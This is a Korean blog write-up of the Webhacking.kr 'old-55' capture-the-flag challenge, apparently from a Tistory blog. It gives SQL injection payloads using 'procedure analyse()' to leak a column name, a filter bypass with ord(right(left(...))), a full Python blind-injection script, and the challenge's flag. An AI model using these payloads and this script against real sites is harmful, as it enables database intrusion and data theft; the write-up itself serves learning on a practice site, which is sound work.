[Webhacking.kr] old-55

[Webhacking.kr] old-55

마우스 좌표에 따라 이미지가 이동한다.

이미지가 왼쪽 상단에 위치하게 되면 위처럼 GAME OVER alert창이 뜬다.

여기서 확인할 건 다한 것 같으니 rank를 눌러봤다.

rank와 id, score 표가 있었고, 그 아래엔 DB에 관련된 정보가 노출되어 있다.

score부분이 링크로 되어있어 클릭해봤다.

id와 score가 뜨면서 url 파라미터 score가 추가됐다.

다른 사람들의 score를 클릭해도 똑같은 id가 출력되는 것을 보면 select 결과의 맨 위 데이터를 가져오는 것 같다.

이제 아래에 있는 php코드를 살펴보자.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

id와 score, flag가 DB에 삽입되는 것 같다.

flag를 알아내야 하는데 지금은 flag의 column명을 모른다.

flag를 알아내기 위해서는 flag의 column명이 필요하다.

procedure analyse();를 사용하면 실행중인 column에 대한 정보를 얻을 수 있다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

위 코드를 봤을 때 flag column의 위치는 3번째일 것이다.

아래와 같이 작성해볼 수 있을 것 같다.

score=2147483647 limit 2,1 procedure analyse();

작성결과 flag의 column명을 알아냈다. → p4ssw0rd_1123581321

Blind SQL Injection을 하기에 앞서 참/거짓 쿼리를 보냈을 때 출력되는 문자열을 알아봤다.

참 쿼리를 보내면 id : jusb3 // 2147483647가 출력된다.

거짓 쿼리를 보내면 id : //가 출력된다.

이제 필터링을 알아보자.

mid, substr, ascii, char, substring 등 다섯가지 경우가 필터링 되었다.

이제 exploit 코드를 작성해보자.

import requests length = 1 while True : url = "https://webhacking.kr/challenge/web-31/rank.php" query = "?score=2147483647 and length(p4ssw0rd_1123581321)=" + str(length) + "#" result = requests.get(url+query) if "id : jusb3 // 2147483647" in result.text : print("flag length:", length) break print(length) length+=1 flag = "" for i in range(1, length + 1) : for c in range(33, 127) : query="?score=2147483647 and ord(right(left(p4ssw0rd_1123581321," + str(i) + "), 1)) = "+ str(c) +"#" result = requests.get(url+query) if "id : jusb3 // 2147483647" in result.text : flag += chr(c) print("FLAG :", flag) break

flag length : 31

flag : FLAG{easy_peasy_lemon_squeezy!}

auth창에 flag를 입력하자.

old-55 해결!

from http://pd6156.tistory.com/202 by ccl(A) rewrite - 2021-11-05 16:26:50